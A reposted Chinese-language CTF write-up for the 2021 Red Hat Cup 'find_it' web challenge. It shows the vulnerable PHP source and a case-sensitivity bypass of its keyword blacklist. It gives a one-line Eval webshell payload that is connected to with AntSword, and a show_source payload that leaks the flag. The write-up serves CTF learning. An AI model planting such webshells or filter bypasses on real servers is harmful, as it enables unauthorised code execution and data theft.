[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
Posted H3h3QAQ
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it相关的知识,希望对你有一定的参考价值。
[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
看群里说CTFHub上复现了, 我来看看
本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了
只能想想其他办法咯
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\\~|\\^|\\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
preg_match()
过滤了eval
但是!!!!!
Eval
它没ban
所以我们可以写’大’马
构造payload:
/?code=<?php%20@Eval($_POST['aaa']);?>
蚁剑连马
拿到flag:
但是作为菜鸡
我还是要重新思考一下这道题的思路:
代码中有几个函数需要注意一下
比如fopen()
,fwrite()
,fread()
fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
也就是说,这里已经读到了flag
$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php
所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中
但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)
但是我想到了另外一个函数show_source()
show_source() 函数对文件进行语法高亮显示。
随机构造payload:
/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入
然后访问hack.php
flag他就出来了。。。。
同时还有我传入的payload
搞一波骚操作!
所以,今天又学到了新姿势~~~~
以上是关于[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it的主要内容,如果未能解决你的问题,请参考以下文章